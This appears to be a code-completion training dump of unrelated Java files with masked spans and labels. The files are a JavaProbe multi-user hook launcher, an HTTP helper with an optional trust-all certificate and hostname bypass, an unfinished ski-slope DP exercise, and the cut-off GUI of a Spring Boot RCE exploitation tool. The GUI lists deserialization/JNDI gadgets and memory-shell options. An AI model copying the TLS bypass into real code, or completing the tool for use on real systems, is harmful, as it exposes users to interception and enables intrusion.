Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(commd);
InputStreamReader isr = new InputStreamReader(proc.getErrorStream());
BufferedReader br = new BufferedReader(isr);
String line = null;
System.out.println("RunUser:\t" + user);
while ((line = br.readLine()) != null) {
System.out.println(line);
}
br.close();
isr.close();
}
catch (Exception e) {
CommonUtil.writeStr("/tmp/jvm_error.txt","fff\t" + e.getMessage());
System.out.println(e.getMessage());
}
}
} | 0Kee-Team/JavaProbe | JavaProbe/src/runuser/RunHandle.java | 863 | /**
* jvm通常都是多权限运行的,为了解决权限不同的隔离问题,按照linux下面大部分的特性,在/tmp/目录寻找运行过jvm的用户
* 可能会有偶尔的状况更改了tmp目录,在此不做操作默认为/tmp/(主要是每个用户的tmp可能 不好获取,但是基本没人改这个)
* 2019年08月27日19:20:25 打脸了,我的mac就不在这个目录,所以改成了原始执行用户的use目录 + /tmp/ (方便兼容)
*/ | block_comment | zh-cn | package runuser;
import common.CommonUtil;
import entity.RunUserInfo;
import java.io.*;
import java.util.ArrayList;
import java.util.List;
/**
* 主要用于多用户的处理
*/
public class RunHandle {
/**
* 获取运行的结果 封装了处理多路径的情况
* @return
*/
public static List<RunUserInfo> getUser() {
// 实测发现有的linux版本获取的临时目录不会加/
String usetmp = System.getProperty("java.io.tmpdir").endsWith("/") ? System.getProperty("java.io.tmpdir") : System.getProperty("java.io.tmpdir")+"/";
List<RunUserInfo> runUserList = new ArrayList<RunUserInfo>();
if (!"/tmp/".equals(usetmp)) {
getRunUserlist(usetmp,runUserList);
}
getRunUserlist("/tmp/",runUserList);
return runUserList;
}
/**
* jvm <SUF>*/
public static void getRunUserlist(String path, List<RunUserInfo> runUserList) {
try {
File jvmTmpDir = new File(path);
for (File tmpfile : jvmTmpDir.listFiles()) {
if (tmpfile.getName().startsWith("hsperfdata_")) {
RunUserInfo runUserInfo = new RunUserInfo();
runUserInfo.setUserName(tmpfile.getName().replace("hsperfdata_",""));
for (File usertmp : tmpfile.listFiles()) {
runUserInfo.getUserPid().add(usertmp.getName());
}
runUserList.add(runUserInfo);
}
}
}
catch (Exception e) {
CommonUtil.writeStr("/tmp/jvm_error.txt","zzz\t" + e.getMessage());
System.out.println(e.getMessage());
}
}
/**
* 垃圾的监测 windwos没测 直接干死
*/
public static void checkOS() {
if (System.getProperty("os.name").toLowerCase().indexOf("windows") > -1) {
System.out.println("不支持Windows系统!");
System.exit(0);
}
}
/**
* 执行分用户hook 其实应该做一个runuser的监测 但是我懒,并且我司内网主机架构比较统一基本都安装了
* @param user
*/
public static void runHookCommand(String user) {
try {
String[] commd = { "runuser", "-c", "java -jar JavaProbe.jar " + user, user};
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(commd);
InputStreamReader isr = new InputStreamReader(proc.getErrorStream());
BufferedReader br = new BufferedReader(isr);
String line = null;
System.out.println("RunUser:\t" + user);
while ((line = br.readLine()) != null) {
System.out.println(line);
}
br.close();
isr.close();
}
catch (Exception e) {
CommonUtil.writeStr("/tmp/jvm_error.txt","fff\t" + e.getMessage());
System.out.println(e.getMessage());
}
}
} | 1 |
6749_34 | package com.opslab.helper;
import com.opslab.Opslab;
import com.opslab.useful.SSLmiTM;
import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLSession;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
/**
* 封装常见的HTTP方法
*/
public final class HttpHelper {
/**
* 发起http的get请求
*
* @param httpurl
* @return
*/
public static String sendGet(String httpurl) {
HttpURLConnection connection = null;
InputStream is = null;
BufferedReader br = null;
String result = null;// 返回结果字符串
try {
// 创建远程url连接对象
URL url = new URL(httpurl);
// 通过远程url连接对象打开一个连接,强转成httpURLConnection类
connection = (HttpURLConnection) url.openConnection();
// 设置连接方式:get
connection.setRequestMethod("GET");
// 设置连接主机服务器的超时时间:15000毫秒
connection.setConnectTimeout(15000);
// 设置读取远程返回的数据时间:60000毫秒
connection.setReadTimeout(60000);
// 发送请求
connection.connect();
// 通过connection连接,获取输入流
if (connection.getResponseCode() == 200) {
is = connection.getInputStream();
// 封装输入流is,并指定字符集
br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8));
// 存放数据
StringBuilder sbf = new StringBuilder();
String temp = null;
while ((temp = br.readLine()) != null) {
sbf.append(temp);
sbf.append("\r\n");
}
result = sbf.toString();
}
} catch (Exception e) {
e.printStackTrace();
} finally {
// 关闭资源
if (null != br) {
try {
br.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (null != is) {
try {
is.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (connection != null) {
connection.disconnect();
}
}
return result;
}
/**
* 发起http的get请求支持忽略SSL校验
*
* @param httpurl
* @param isIgnoreSSL 是否忽略SSL校验
* @return
*/
public static String sendGetSSL(String httpurl, boolean isIgnoreSSL) {
HttpURLConnection connection = null;
InputStream is = null;
BufferedReader br = null;
String result = null;// 返回结果字符串
try {
if (isIgnoreSSL) {
//该部分必须在获取connection前调用
trustAllHttpsCertificates();
HostnameVerifier hv = new HostnameVerifier() {
@Override
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
HttpsURLConnection.setDefaultHostnameVerifier(hv);
connection = (HttpURLConnection) new URL(httpurl).openConnection();
// 设置连接方式:get
connection.setRequestMethod("GET");
// 设置连接主机服务器的超时时间:15000毫秒
connection.setConnectTimeout(15000);
// 设置读取远程返回的数据时间:60000毫秒
connection.setReadTimeout(60000);
} else {
// 创建远程url连接对象
URL url = new URL(httpurl);
// 通过远程url连接对象打开一个连接,强转成httpURLConnection类
connection = (HttpURLConnection) url.openConnection();
// 设置连接方式:get
connection.setRequestMethod("GET");
// 设置连接主机服务器的超时时间:15000毫秒
connection.setConnectTimeout(15000);
// 设置读取远程返回的数据时间:60000毫秒
connection.setReadTimeout(60000);
}
// 发送请求
connection.connect();
// 通过connection连接,获取输入流
if (connection.getResponseCode() == 200) {
is = connection.getInputStream();
// 封装输入流is,并指定字符集
br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8));
// 存放数据
StringBuilder sbf = new StringBuilder();
String temp;
while ((temp = br.readLine()) != null) {
sbf.append(temp);
sbf.append("\r\n");
}
result = sbf.toString();
}
} catch (Exception e) {
e.printStackTrace();
} finally {
// 关闭资源
if (null != br) {
try {
br.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (null != is) {
try {
is.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (connection != null) {
connection.disconnect();
}
}
return result;
}
/**
* 发起POST请求
*
* @param httpUrl
* @param param
* @return
*/
public static String sendPost(String httpUrl, String param) {
HttpURLConnection connection = null;
InputStream is = null;
OutputStream os = null;
BufferedReader br = null;
String result = null;
try {
URL url = new URL(httpUrl);
// 通过远程url连接对象打开连接
connection = (HttpURLConnection) url.openConnection();
// 设置连接请求方式
connection.setRequestMethod("POST");
// 设置连接主机服务器超时时间:15000毫秒
connection.setConnectTimeout(15000);
// 设置读取主机服务器返回数据超时时间:60000毫秒
connection.setReadTimeout(60000);
// 默认值为:false,当向远程服务器传送数据/写数据时,需要设置为true
connection.setDoOutput(true);
// 默认值为:true,当前向远程服务读取数据时,设置为true,该参数可有可无
connection.setDoInput(true);
// 设置传入参数的格式:请求参数应该是 name1=value1&name2=value2 的形式。
connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
// 设置鉴权信息:Authorization: Bearer da3efcbf-0845-4fe3-8aba-ee040be542c0
//connection.setRequestProperty("Authorization", "");
// 通过连接对象获取一个输出流
os = connection.getOutputStream();
// 通过输出流对象将参数写出去/传输出去,它是通过字节数组写出的
os.write(param.getBytes());
// 通过连接对象获取一个输入流,向远程读取
if (connection.getResponseCode() == 200) {
is = connection.getInputStream();
// 对输入流对象进行包装:charset根据工作项目组的要求来设置
br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8));
StringBuilder sbf = new StringBuilder();
String temp;
// 循环遍历一行一行读取数据
while ((temp = br.readLine()) != null) {
sbf.append(temp);
sbf.append("\r\n");
}
result = sbf.toString();
}
} catch (Exception e) {
e.printStackTrace();
} finally {
if (null != br) {
try {
br.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (null != os) {
try {
os.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (null != is) {
try {
is.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (connection != null) {
connection.disconnect();
}
}
return result;
}
/**
* 发起POST请求 支持忽略SSL校验
*
* @param httpUrl
* @param param
* @param isIgnoreSSL
* @return
*/
public static String sendPostSSL(String httpUrl, String param, boolean isIgnoreSSL) {
HttpURLConnection connection = null;
InputStream is = null;
OutputStream os = null;
BufferedReader br = null;
String result = null;
try {
if (isIgnoreSSL) {
//该部分必须在获取connection前调用
trustAllHttpsCertificates();
HostnameVerifier hv = new HostnameVerifier() {
@Override
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
HttpsURLConnection.setDefaultHostnameVerifier(hv);
connection = (HttpURLConnection) new URL(httpUrl).openConnection();
// 设置连接方式:get
connection.setRequestMethod("GET");
// 设置连接主机服务器的超时时间:15000毫秒
connection.setConnectTimeout(15000);
// 设置读取远程返回的数据时间:60000毫秒
connection.setReadTimeout(60000);
} else {
URL url = new URL(httpUrl);
// 通过远程url连接对象打开连接
connection = (HttpURLConnection) url.openConnection();
// 设置连接请求方式
connection.setRequestMethod("POST");
// 设置连接主机服务器超时时间:15000毫秒
connection.setConnectTimeout(15000);
// 设置读取主机服务器返回数据超时时间:60000毫秒
connection.setReadTimeout(60000);
}
// 默认值为:false,当向远程服务器传送数据/写数据时,需要设置为true
connection.setDoOutput(true);
// 默认值为:true,当前向远程服务读取数据时,设置为true,该参数可有可无
connection.setDoInput(true);
// 设置传入参数的格式:请求参数应该是 name1=value1&name2=value2 的形式。
connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
// 设置鉴权信息:Authorization: Bearer da3efcbf-0845-4fe3-8aba-ee040be542c0
//connection.setRequestProperty("Authorization", "");
// 通过连接对象获取一个输出流
os = connection.getOutputStream();
// 通过输出流对象将参数写出去/传输出去,它是通过字节数组写出的
os.write(param.getBytes());
// 通过连接对象获取一个输入流,向远程读取
if (connection.getResponseCode() == 200) {
is = connection.getInputStream();
// 对输入流对象进行包装:charset根据工作项目组的要求来设置
br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8));
StringBuilder sbf = new StringBuilder();
String temp;
// 循环遍历一行一行读取数据
while ((temp = br.readLine()) != null) {
sbf.append(temp);
sbf.append("\r\n");
}
result = sbf.toString();
}
} catch (Exception e) {
e.printStackTrace();
} finally {
if (null != br) {
try {
br.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (null != os) {
try {
os.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (null != is) {
try {
is.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (connection != null) {
connection.disconnect();
}
}
return result;
}
/**
* 开启SSL忽略
*/
private static void trustAllHttpsCertificates() throws Exception {
javax.net.ssl.TrustManager[] trustAllCerts = new javax.net.ssl.TrustManager[1];
javax.net.ssl.TrustManager tm = new SSLmiTM();
trustAllCerts[0] = tm;
javax.net.ssl.SSLContext sc = javax.net.ssl.SSLContext.getInstance("SSL");
sc.init(null, trustAllCerts, null);
javax.net.ssl.HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
}
}
| 0opslab/opslabJutil | src/main/java/com/opslab/helper/HttpHelper.java | 2,843 | // 默认值为:false,当向远程服务器传送数据/写数据时,需要设置为true
| line_comment | zh-cn | package com.opslab.helper;
import com.opslab.Opslab;
import com.opslab.useful.SSLmiTM;
import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLSession;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
/**
* 封装常见的HTTP方法
*/
public final class HttpHelper {
/**
* 发起http的get请求
*
* @param httpurl
* @return
*/
public static String sendGet(String httpurl) {
HttpURLConnection connection = null;
InputStream is = null;
BufferedReader br = null;
String result = null;// 返回结果字符串
try {
// 创建远程url连接对象
URL url = new URL(httpurl);
// 通过远程url连接对象打开一个连接,强转成httpURLConnection类
connection = (HttpURLConnection) url.openConnection();
// 设置连接方式:get
connection.setRequestMethod("GET");
// 设置连接主机服务器的超时时间:15000毫秒
connection.setConnectTimeout(15000);
// 设置读取远程返回的数据时间:60000毫秒
connection.setReadTimeout(60000);
// 发送请求
connection.connect();
// 通过connection连接,获取输入流
if (connection.getResponseCode() == 200) {
is = connection.getInputStream();
// 封装输入流is,并指定字符集
br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8));
// 存放数据
StringBuilder sbf = new StringBuilder();
String temp = null;
while ((temp = br.readLine()) != null) {
sbf.append(temp);
sbf.append("\r\n");
}
result = sbf.toString();
}
} catch (Exception e) {
e.printStackTrace();
} finally {
// 关闭资源
if (null != br) {
try {
br.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (null != is) {
try {
is.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (connection != null) {
connection.disconnect();
}
}
return result;
}
/**
* 发起http的get请求支持忽略SSL校验
*
* @param httpurl
* @param isIgnoreSSL 是否忽略SSL校验
* @return
*/
public static String sendGetSSL(String httpurl, boolean isIgnoreSSL) {
HttpURLConnection connection = null;
InputStream is = null;
BufferedReader br = null;
String result = null;// 返回结果字符串
try {
if (isIgnoreSSL) {
//该部分必须在获取connection前调用
trustAllHttpsCertificates();
HostnameVerifier hv = new HostnameVerifier() {
@Override
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
HttpsURLConnection.setDefaultHostnameVerifier(hv);
connection = (HttpURLConnection) new URL(httpurl).openConnection();
// 设置连接方式:get
connection.setRequestMethod("GET");
// 设置连接主机服务器的超时时间:15000毫秒
connection.setConnectTimeout(15000);
// 设置读取远程返回的数据时间:60000毫秒
connection.setReadTimeout(60000);
} else {
// 创建远程url连接对象
URL url = new URL(httpurl);
// 通过远程url连接对象打开一个连接,强转成httpURLConnection类
connection = (HttpURLConnection) url.openConnection();
// 设置连接方式:get
connection.setRequestMethod("GET");
// 设置连接主机服务器的超时时间:15000毫秒
connection.setConnectTimeout(15000);
// 设置读取远程返回的数据时间:60000毫秒
connection.setReadTimeout(60000);
}
// 发送请求
connection.connect();
// 通过connection连接,获取输入流
if (connection.getResponseCode() == 200) {
is = connection.getInputStream();
// 封装输入流is,并指定字符集
br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8));
// 存放数据
StringBuilder sbf = new StringBuilder();
String temp;
while ((temp = br.readLine()) != null) {
sbf.append(temp);
sbf.append("\r\n");
}
result = sbf.toString();
}
} catch (Exception e) {
e.printStackTrace();
} finally {
// 关闭资源
if (null != br) {
try {
br.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (null != is) {
try {
is.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (connection != null) {
connection.disconnect();
}
}
return result;
}
/**
* 发起POST请求
*
* @param httpUrl
* @param param
* @return
*/
public static String sendPost(String httpUrl, String param) {
HttpURLConnection connection = null;
InputStream is = null;
OutputStream os = null;
BufferedReader br = null;
String result = null;
try {
URL url = new URL(httpUrl);
// 通过远程url连接对象打开连接
connection = (HttpURLConnection) url.openConnection();
// 设置连接请求方式
connection.setRequestMethod("POST");
// 设置连接主机服务器超时时间:15000毫秒
connection.setConnectTimeout(15000);
// 设置读取主机服务器返回数据超时时间:60000毫秒
connection.setReadTimeout(60000);
// 默认 <SUF>
connection.setDoOutput(true);
// 默认值为:true,当前向远程服务读取数据时,设置为true,该参数可有可无
connection.setDoInput(true);
// 设置传入参数的格式:请求参数应该是 name1=value1&name2=value2 的形式。
connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
// 设置鉴权信息:Authorization: Bearer da3efcbf-0845-4fe3-8aba-ee040be542c0
//connection.setRequestProperty("Authorization", "");
// 通过连接对象获取一个输出流
os = connection.getOutputStream();
// 通过输出流对象将参数写出去/传输出去,它是通过字节数组写出的
os.write(param.getBytes());
// 通过连接对象获取一个输入流,向远程读取
if (connection.getResponseCode() == 200) {
is = connection.getInputStream();
// 对输入流对象进行包装:charset根据工作项目组的要求来设置
br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8));
StringBuilder sbf = new StringBuilder();
String temp;
// 循环遍历一行一行读取数据
while ((temp = br.readLine()) != null) {
sbf.append(temp);
sbf.append("\r\n");
}
result = sbf.toString();
}
} catch (Exception e) {
e.printStackTrace();
} finally {
if (null != br) {
try {
br.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (null != os) {
try {
os.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (null != is) {
try {
is.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (connection != null) {
connection.disconnect();
}
}
return result;
}
/**
* 发起POST请求 支持忽略SSL校验
*
* @param httpUrl
* @param param
* @param isIgnoreSSL
* @return
*/
public static String sendPostSSL(String httpUrl, String param, boolean isIgnoreSSL) {
HttpURLConnection connection = null;
InputStream is = null;
OutputStream os = null;
BufferedReader br = null;
String result = null;
try {
if (isIgnoreSSL) {
//该部分必须在获取connection前调用
trustAllHttpsCertificates();
HostnameVerifier hv = new HostnameVerifier() {
@Override
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
HttpsURLConnection.setDefaultHostnameVerifier(hv);
connection = (HttpURLConnection) new URL(httpUrl).openConnection();
// 设置连接方式:get
connection.setRequestMethod("GET");
// 设置连接主机服务器的超时时间:15000毫秒
connection.setConnectTimeout(15000);
// 设置读取远程返回的数据时间:60000毫秒
connection.setReadTimeout(60000);
} else {
URL url = new URL(httpUrl);
// 通过远程url连接对象打开连接
connection = (HttpURLConnection) url.openConnection();
// 设置连接请求方式
connection.setRequestMethod("POST");
// 设置连接主机服务器超时时间:15000毫秒
connection.setConnectTimeout(15000);
// 设置读取主机服务器返回数据超时时间:60000毫秒
connection.setReadTimeout(60000);
}
// 默认值为:false,当向远程服务器传送数据/写数据时,需要设置为true
connection.setDoOutput(true);
// 默认值为:true,当前向远程服务读取数据时,设置为true,该参数可有可无
connection.setDoInput(true);
// 设置传入参数的格式:请求参数应该是 name1=value1&name2=value2 的形式。
connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
// 设置鉴权信息:Authorization: Bearer da3efcbf-0845-4fe3-8aba-ee040be542c0
//connection.setRequestProperty("Authorization", "");
// 通过连接对象获取一个输出流
os = connection.getOutputStream();
// 通过输出流对象将参数写出去/传输出去,它是通过字节数组写出的
os.write(param.getBytes());
// 通过连接对象获取一个输入流,向远程读取
if (connection.getResponseCode() == 200) {
is = connection.getInputStream();
// 对输入流对象进行包装:charset根据工作项目组的要求来设置
br = new BufferedReader(new InputStreamReader(is, Opslab.UTF_8));
StringBuilder sbf = new StringBuilder();
String temp;
// 循环遍历一行一行读取数据
while ((temp = br.readLine()) != null) {
sbf.append(temp);
sbf.append("\r\n");
}
result = sbf.toString();
}
} catch (Exception e) {
e.printStackTrace();
} finally {
if (null != br) {
try {
br.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (null != os) {
try {
os.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (null != is) {
try {
is.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (connection != null) {
connection.disconnect();
}
}
return result;
}
/**
* 开启SSL忽略
*/
private static void trustAllHttpsCertificates() throws Exception {
javax.net.ssl.TrustManager[] trustAllCerts = new javax.net.ssl.TrustManager[1];
javax.net.ssl.TrustManager tm = new SSLmiTM();
trustAllCerts[0] = tm;
javax.net.ssl.SSLContext sc = javax.net.ssl.SSLContext.getInstance("SSL");
sc.init(null, trustAllCerts, null);
javax.net.ssl.HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
}
}
| 0 |
59207_1 | package Arithmetic.DP;
import java.util.Scanner;
/**
* Created by user on 2017/6/3.
*/
/*
Michael喜欢滑雪百这并不奇怪, 因为滑雪的确很刺激。
可是为了获得速度,滑的区域必须向下倾斜,而且当你滑到坡底,
你不得不再次走上坡或者等待升降机来载你。
Michael想知道载一个区域中最长的滑坡。区域由一个二维数组给出。数组的每个数字
代表点的高度。下面是一个例子
1 2 3 4 5
16 17 18 19 6
15 24 25 20 7
14 23 22 21 8
13 12 11 10 9
一个人可以从某个点滑向上下左右相邻四个点之一,当且仅当高度减小。在上面的例子
中,一条可滑行的滑坡为24-17-16-1。当然25-24-23-...-3-2-1更长。事实上,这是最
长的一条。输入输入的第一行表示区域的行数R和列数C(1 <= R,C <= 100)。下面是R行,
每行有C个整数,代表高度h,0<=h<=10000。输出输出最长区域的长度。
72
输入
输入的第一行表示区域的行数R和列数C
(1 <= R,C <= 100)。下面是R行,每行有C个整数,
代表高度h,0<=h<=10000。
输出
输出最长区域的长度。
样例输入
5 5
1 2 3 4 5
16 17 18 19 6
15 24 25 20 7
14 23 22 21 8
13 12 11 10 9
样例输出
25
*/
public class Example05 {
public static void main(String[] args) {
Scanner input = new Scanner(System.in);
int n = input.nextInt();
int m = input.nextInt();
int a[][] = new int[n][m];
for(int i = 0 ; i<n;i++){
for(int j = 0;j<m;j++)
a[i][j] = input.nextInt();
}
for(int i = 0 ; i<n;i++) {
for (int j = 0; j < m; j++) {
}
}
}
}
| 0ranges/OldTest | src/Arithmetic/DP/Example05.java | 658 | /*
Michael喜欢滑雪百这并不奇怪, 因为滑雪的确很刺激。
可是为了获得速度,滑的区域必须向下倾斜,而且当你滑到坡底,
你不得不再次走上坡或者等待升降机来载你。
Michael想知道载一个区域中最长的滑坡。区域由一个二维数组给出。数组的每个数字
代表点的高度。下面是一个例子
1 2 3 4 5
16 17 18 19 6
15 24 25 20 7
14 23 22 21 8
13 12 11 10 9
一个人可以从某个点滑向上下左右相邻四个点之一,当且仅当高度减小。在上面的例子
中,一条可滑行的滑坡为24-17-16-1。当然25-24-23-...-3-2-1更长。事实上,这是最
长的一条。输入输入的第一行表示区域的行数R和列数C(1 <= R,C <= 100)。下面是R行,
每行有C个整数,代表高度h,0<=h<=10000。输出输出最长区域的长度。
72
输入
输入的第一行表示区域的行数R和列数C
(1 <= R,C <= 100)。下面是R行,每行有C个整数,
代表高度h,0<=h<=10000。
输出
输出最长区域的长度。
样例输入
5 5
1 2 3 4 5
16 17 18 19 6
15 24 25 20 7
14 23 22 21 8
13 12 11 10 9
样例输出
25
*/ | block_comment | zh-cn | package Arithmetic.DP;
import java.util.Scanner;
/**
* Created by user on 2017/6/3.
*/
/*
Mic <SUF>*/
public class Example05 {
public static void main(String[] args) {
Scanner input = new Scanner(System.in);
int n = input.nextInt();
int m = input.nextInt();
int a[][] = new int[n][m];
for(int i = 0 ; i<n;i++){
for(int j = 0;j<m;j++)
a[i][j] = input.nextInt();
}
for(int i = 0 ; i<n;i++) {
for (int j = 0; j < m; j++) {
}
}
}
}
| 1 |
4488_28 | package com.drops.ui;
import com.drops.entity.ControllersFactory;
import com.drops.main.AttackService;
import com.drops.poc.SpringBootInfo;
import com.drops.utils.*;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.event.ActionEvent;
import javafx.event.EventHandler;
import javafx.fxml.FXML;
import javafx.geometry.Insets;
import javafx.geometry.Pos;
import javafx.scene.control.*;
import javafx.scene.layout.GridPane;
import javafx.scene.layout.HBox;
import javafx.stage.Window;
import javafx.stage.WindowEvent;
import java.net.Authenticator;
import java.net.InetSocketAddress;
import java.net.PasswordAuthentication;
import java.net.Proxy;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
* @ClassName: Gui
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/20 16:50
* @Version: v1.0.0
* @Description:
**/
public class MainController {
@FXML
private MenuItem proxySetupBtn;
public static Map currentProxy = new HashMap();
// 设置 目标地址
@FXML
private TextField targetAddress;
// 设置超时
@FXML
private TextField httpTimeout;
@FXML
private TextField vps;
@FXML
private Button crackKeyBtn;
@FXML
private Button crackSpcKeyBtn;
@FXML
public ComboBox<String> gadgetOpt;
@FXML
public ComboBox<String> echoOpt ;
@FXML
private Button crackGadgetBtn;
@FXML
private Button crackSpcGadgetBtn;
@FXML
public TextArea logTextArea;
@FXML
private Label proxyStatusLabel;
@FXML
private TextField exCommandText;
@FXML
public TextArea execOutputArea;
@FXML
private Button executeCmdBtn;
@FXML
public ComboBox<String> memShellOpt;
@FXML
private TextField shellPathText;
@FXML
private TextField shellPassText;
@FXML
private Button injectShellBtn;
@FXML
public TextArea InjOutputArea;
public static TextArea ip;
@FXML
public TextField hport;
@FXML
public TextField lport;
public static String hports;
public static String lports;
LDAPUtil ldapUtil = null;
public AttackService attackService = null;
@FXML
void initialize() {
this.initToolbar();
this.initComBoBox();
// this.initContext();
this.initConnect();
this.initAttack();
ControllersFactory.controllers.put(MainController.class.getSimpleName(), this);
}
public void initAttack() {
String targetAddressText = this.targetAddress.getText();
String httpTimeoutText = this.httpTimeout.getText();
boolean version = false;
this.attackService = new AttackService(targetAddressText, httpTimeoutText);
}
private void initConnect() {
// this.vps.setText("1.116.32.76");
this.vps.setText("127.0.0.1");
this.httpTimeout.setText("50");
this.targetAddress.setText("http://127.0.0.1:9095");
this.lport.setText("1389");
this.hport.setText("3456");
}
private void initComBoBox() {
ObservableList<String> gadgets = FXCollections.observableArrayList(new String[]{ "SnakeYAMLRCE", "SpELRCE", "EurekaXstreamRCE", "JolokiaLogbackRCE", "JolokiaRealmRCE", "H2DatabaseConsoleJNDIRCE", "SpringCloudGatewayRCE"});
this.gadgetOpt.setPromptText("SnakeYAMLRCE");
this.gadgetOpt.setValue("SnakeYAMLRCE");
this.gadgetOpt.setItems(gadgets);
// ObservableList<String> echoes =FXCollections.observableArrayList(new String[]{"TomcatEcho","SpringEcho"});
// this.echoOpt.setPromptText("TomcatEcho");
// this.echoOpt.setValue("TomcatEcho");
// this.echoOpt.setItems(echoes);
// this.shellPassText.setText("cat666");
// this.shellPathText.setText("/catcat66");
// final ObservableList<String> memShells = FXCollections.observableArrayList(new String[]{"哥斯拉[Filter]", "蚁剑[Filter]", "冰蝎[Filter]", "NeoreGeorg[Filter]", "reGeorg[Filter]", "哥斯拉[Servlet]", "蚁剑[Servlet]", "冰蝎[Servlet]", "NeoreGeorg[Servlet]", "reGeorg[Servlet]"});
// this.memShellOpt.setPromptText("冰蝎[Filter]");
// this.memShellOpt.setValue("冰蝎[Filter]");
// this.memShellOpt.setItems(memShells);
// this.memShellOpt.getSelectionModel().selectedIndexProperty().addListener(new ChangeListener<Number>() {
// @Override
// public void changed(ObservableValue<? extends Number> observableValue, Number number, Number number2) {
// if (((String)memShells.get(number2.intValue())).contains("reGeorg")) {
// MainController.this.shellPassText.setDisable(true);
// } else {
// MainController.this.shellPassText.setDisable(false);
// }
//
// }
// });
}
private void initToolbar() {
this.proxySetupBtn.setOnAction(new EventHandler<ActionEvent>() {
@Override
public void handle(ActionEvent event) {
final Alert inputDialog = new Alert(Alert.AlertType.NONE);
inputDialog.setResizable(true);
final Window window = inputDialog.getDialogPane().getScene().getWindow();
window.setOnCloseRequest(new EventHandler<WindowEvent>() {
@Override
public void handle(WindowEvent e) {
window.hide();
}
});
ToggleGroup statusGroup = new ToggleGroup();
RadioButton enableRadio = new RadioButton("启用");
final RadioButton disableRadio = new RadioButton("禁用");
enableRadio.setToggleGroup(statusGroup);
disableRadio.setToggleGroup(statusGroup);
HBox statusHbox = new HBox();
statusHbox.setSpacing(10.0D);
statusHbox.getChildren().add(enableRadio);
statusHbox.getChildren().add(disableRadio);
GridPane proxyGridPane = new GridPane();
proxyGridPane.setVgap(15.0D);
proxyGridPane.setPadding(new Insets(20.0D, 20.0D, 0.0D, 10.0D));
Label typeLabel = new Label("类型:");
final ComboBox<String> typeCombo = new ComboBox();
typeCombo.setItems(FXCollections.observableArrayList(new String[]{"HTTP", "SOCKS"}));
typeCombo.getSelectionModel().select(0);
Label IPLabel = new Label("IP地址:");
final TextField IPText = new TextField();
Label PortLabel = new Label("端口:");
final TextField PortText = new TextField();
Label userNameLabel = new Label("用户名:");
final TextField userNameText = new TextField();
Label passwordLabel = new Label("密码:");
final TextField passwordText = new TextField();
Button cancelBtn = new Button("取消");
Button saveBtn = new Button("保存");
saveBtn.setDefaultButton(true);
if (currentProxy.get("proxy") != null) {
Proxy currProxy = (Proxy) currentProxy.get("proxy");
String proxyInfo = currProxy.address().toString();
String[] info = proxyInfo.split(":");
String hisIpAddress = info[0].replace("/", "");
String hisPort = info[1];
IPText.setText(hisIpAddress);
PortText.setText(hisPort);
enableRadio.setSelected(true);
System.out.println(proxyInfo);
} else {
enableRadio.setSelected(false);
}
saveBtn.setOnAction(new EventHandler<ActionEvent>() {
@Override
public void handle(ActionEvent e) {
if (disableRadio.isSelected()) {
currentProxy.put("proxy", (Object) null);
// this.proxyStatusLabel.setText("");
inputDialog.getDialogPane().getScene().getWindow().hide();
} else {
String type;
String ipAddress;
if (!userNameText.getText().trim().equals("")) {
ipAddress = userNameText.getText().trim();
type = passwordText.getText();
final String finalIpAddress = ipAddress;
final String finalType = type;
Authenticator.setDefault(new Authenticator() {
@Override
public PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(finalIpAddress, finalType.toCharArray());
}
});
} else {
Authenticator.setDefault((Authenticator) null);
}
currentProxy.put("username", userNameText.getText());
currentProxy.put("password", passwordText.getText());
ipAddress = IPText.getText();
String port = PortText.getText();
InetSocketAddress proxyAddr = new InetSocketAddress(ipAddress, Integer.parseInt(port));
type = ((String) typeCombo.getValue()).toString();
Proxy proxy;
if (type.equals("HTTP")) {
proxy = new Proxy(Proxy.Type.HTTP, proxyAddr);
currentProxy.put("proxy", proxy);
